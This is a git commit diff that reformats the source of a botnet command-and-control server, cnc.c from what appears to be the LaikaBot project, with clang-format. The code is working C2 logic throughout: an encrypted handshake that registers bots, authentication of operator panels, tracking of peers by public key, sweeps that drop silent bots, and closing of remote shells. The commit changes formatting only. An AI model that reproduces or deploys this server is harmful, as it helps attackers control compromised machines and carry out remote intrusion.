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Added .clang-format, formatted codebase

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CPunch
2022-06-27 18:57:00 -05:00
parent 1d6ce15b3d
commit 48fa8935c3
46 changed files with 1756 additions and 1242 deletions
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197
cnc/src/cnc.c
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@@ -1,57 +1,61 @@
#include "lmem.h"
#include "lsodium.h"
#include "lsocket.h"
#include "lerror.h"
#include "ltask.h"
#include "cnc.h"
#include "cpanel.h"
#include "cpeer.h"
#include "cnc.h"
#include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
/* ======================================[[ PeerHashMap ]]======================================= */
typedef struct sCNC_PeerHashElem {
typedef struct sCNC_PeerHashElem
{
struct sLaika_peer *peer;
uint8_t *pub;
} tCNC_PeerHashElem;
int cnc_PeerElemCompare(const void *a, const void *b, void *udata) {
int cnc_PeerElemCompare(const void *a, const void *b, void *udata)
{
const tCNC_PeerHashElem *ua = a;
const tCNC_PeerHashElem *ub = b;
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
}
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tCNC_PeerHashElem *u = item;
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */
}
/* ====================================[[ Packet Handlers ]]==================================== */
bool checkPeerKey(struct sLaika_peer *peer, void *uData) {
bool checkPeerKey(struct sLaika_peer *peer, void *uData)
{
if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
LAIKA_ERROR("public key is already in use!\n");
return true;
}
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char magicBuf[LAIKA_MAGICLEN];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
char *tempIPBuf;
uint8_t major, minor;
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
laikaS_read(&peer->sock, (void *)magicBuf, LAIKA_MAGICLEN);
major = laikaS_readByte(&peer->sock);
minor = laikaS_readByte(&peer->sock);
peer->osType = laikaS_readByte(&peer->sock);
peer->type = PEER_BOT;
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
|| major != LAIKA_VERSION_MAJOR
|| minor != LAIKA_VERSION_MINOR)
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 || major != LAIKA_VERSION_MAJOR ||
minor != LAIKA_VERSION_MINOR)
LAIKA_ERROR("invalid handshake request!\n");
/* read peer's public key */
@@ -61,15 +65,17 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN);
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR, which will kill the peer) */
laikaC_iterPeers(cnc, checkPeerKey, (void*)peer->peerPub);
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR,
* which will kill the peer) */
laikaC_iterPeers(cnc, checkPeerKey, (void *)peer->peerPub);
/* restore null-terminator */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
peer->inet[LAIKA_INET_LEN-1] = '\0';
peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0';
peer->inet[LAIKA_INET_LEN - 1] = '\0';
/* gen session keys */
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv,
peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n");
/* encrypt all future packets */
@@ -86,8 +92,9 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
}
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
pInfo->lastPing = laikaT_getTime();
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
@@ -145,11 +152,13 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
/* ==========================================[[ CNC ]]========================================== */
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *laikaC_newCNC(uint16_t port)
{
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
/* init peer hashmap & panel list */
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL);
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash,
cnc_PeerElemCompare, NULL, NULL);
cnc->authPeers = NULL;
cnc->authKeys = NULL;
cnc->authKeysCount = 0;
@@ -158,8 +167,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
cnc->authPeersCount = 0;
cnc->port = port;
/* init socket & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */
/* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL);
laikaP_initPList(&cnc->pList);
if (sodium_init() < 0) {
@@ -178,7 +187,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
return cnc;
}
void laikaC_bindServer(struct sLaika_cnc *cnc) {
void laikaC_bindServer(struct sLaika_cnc *cnc)
{
/* bind sock to port */
laikaS_bind(&cnc->sock, cnc->port);
@@ -186,7 +196,8 @@ void laikaC_bindServer(struct sLaika_cnc *cnc) {
laikaP_addSock(&cnc->pList, &cnc->sock);
}
void laikaC_freeCNC(struct sLaika_cnc *cnc) {
void laikaC_freeCNC(struct sLaika_cnc *cnc)
{
int i;
laikaS_cleanSocket(&cnc->sock);
@@ -201,7 +212,8 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
laikaM_free(cnc);
}
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
int i;
GETPINFOFROMPEER(peer)->completeHandshake = true;
@@ -218,7 +230,8 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
}
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
int i;
/* ignore uninitalized peers */
@@ -228,16 +241,17 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
/* close any open shells */
laikaC_closeShells(peer);
switch (peer->type) {
case PEER_BOT: {
/* TODO */
break;
}
case PEER_AUTH: {
/* remove peer from panels list */
laikaC_rmvAuth(cnc, peer);
break;
}
default: break;
case PEER_BOT: {
/* TODO */
break;
}
case PEER_AUTH: {
/* remove peer from panels list */
laikaC_rmvAuth(cnc, peer);
break;
}
default:
break;
}
/* notify connected panels of the disconnected peer */
@@ -249,7 +263,8 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
hashmap_delete(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
}
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) {
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type)
{
/* make sure to update connected peers */
laikaC_onRmvPeer(cnc, peer);
@@ -259,26 +274,28 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
/* update accepted packets */
peer->type = type;
switch (type) {
case PEER_AUTH:
peer->packetTbl = laikaC_authPktTbl;
peer->uData = laikaC_newAuthInfo(cnc);
break;
case PEER_BOT:
peer->packetTbl = laikaC_botPktTbl;
peer->uData = laikaC_newBotInfo(cnc);
break;
default:
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
break;
case PEER_AUTH:
peer->packetTbl = laikaC_authPktTbl;
peer->uData = laikaC_newAuthInfo(cnc);
break;
case PEER_BOT:
peer->packetTbl = laikaC_botPktTbl;
peer->uData = laikaC_newBotInfo(cnc);
break;
default:
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
break;
}
/* a new (but not-so-new) peer has arrived */
laikaC_onAddPeer(cnc, peer);
}
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
/* grow array if we need to */
laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap);
laikaM_growarray(struct sLaika_peer *, cnc->authPeers, 1, cnc->authPeersCount,
cnc->authPeersCap);
/* insert into authenticated peer table */
cnc->authPeers[cnc->authPeersCount++] = authPeer;
@@ -286,7 +303,8 @@ void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
LAIKA_DEBUG("added panel %p!\n", authPeer);
}
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
int i;
for (i = 0; i < cnc->authPeersCount; i++) {
@@ -297,9 +315,10 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
}
}
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key)
{
uint8_t *buf;
laikaM_growarray(uint8_t*, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
laikaM_growarray(uint8_t *, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
if (!laikaK_loadKeys(buf, NULL, key, NULL))
@@ -310,27 +329,30 @@ void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
printf("[~] Added authenticated public key '%s'\n", key);
}
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
laikaC_onRmvPeer(cnc, peer);
/* free peerInfo if it's defined */
if (peer->uData)
laikaC_freePeerInfo(peer, peer->uData);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket *)peer);
laikaS_freePeer(peer);
LAIKA_DEBUG("peer %p killed!\n", peer);
}
/* socket event */
void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
void laikaC_onPollFail(struct sLaika_socket *sock, void *uData)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
laikaC_killPeer(cnc, peer);
}
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout)
{
struct sLaika_peer *peer;
struct sLaika_pollEvent *evnts, *evnt;
int numEvents, i;
@@ -347,13 +369,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
for (i = 0; i < numEvents; i++) {
evnt = &evnts[i];
if (evnt->sock == &cnc->sock) { /* event on listener? */
peer = laikaS_newPeer(
laikaC_botPktTbl,
&cnc->pList,
laikaC_onPollFail,
cnc,
(void*)laikaC_newBotInfo(cnc)
);
peer = laikaS_newPeer(laikaC_botPktTbl, &cnc->pList, laikaC_onPollFail, cnc,
(void *)laikaC_newBotInfo(cnc));
LAIKA_TRY
/* setup and accept new peer */
@@ -379,15 +396,18 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
return true;
}
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) {
tCNC_PeerHashElem *elem = (tCNC_PeerHashElem*)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub)
{
tCNC_PeerHashElem *elem =
(tCNC_PeerHashElem *)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
return elem ? elem->peer : NULL;
}
bool sweepPeers(struct sLaika_peer *peer, void *uData) {
bool sweepPeers(struct sLaika_peer *peer, void *uData)
{
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
long currTime = laikaT_getTime();
/* peer has been silent for a while, kill 'em */
@@ -399,33 +419,38 @@ bool sweepPeers(struct sLaika_peer *peer, void *uData) {
return true;
}
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData)
{
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
laikaC_iterPeers(cnc, sweepPeers, (void*)cnc);
laikaC_iterPeers(cnc, sweepPeers, (void *)cnc);
}
/* =======================================[[ Peer Iter ]]======================================= */
struct sWrapperData {
struct sWrapperData
{
tLaika_peerIter iter;
void *uData;
};
/* wrapper iterator */
bool iterWrapper(const void *rawItem, void *uData) {
struct sWrapperData *data = (struct sWrapperData*)uData;
tCNC_PeerHashElem *item = (tCNC_PeerHashElem*)rawItem;
bool iterWrapper(const void *rawItem, void *uData)
{
struct sWrapperData *data = (struct sWrapperData *)uData;
tCNC_PeerHashElem *item = (tCNC_PeerHashElem *)rawItem;
return data->iter(item->peer, data->uData);
}
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData) {
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
{
struct sWrapperData wrapper;
wrapper.iter = iter;
wrapper.uData = uData;
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
itemWrapper so that it can call it. probably a better way to do this
itemWrapper so that it can call it. probably a better way to do this
but w/e lol */
hashmap_scan(cnc->peers, iterWrapper, &wrapper);
}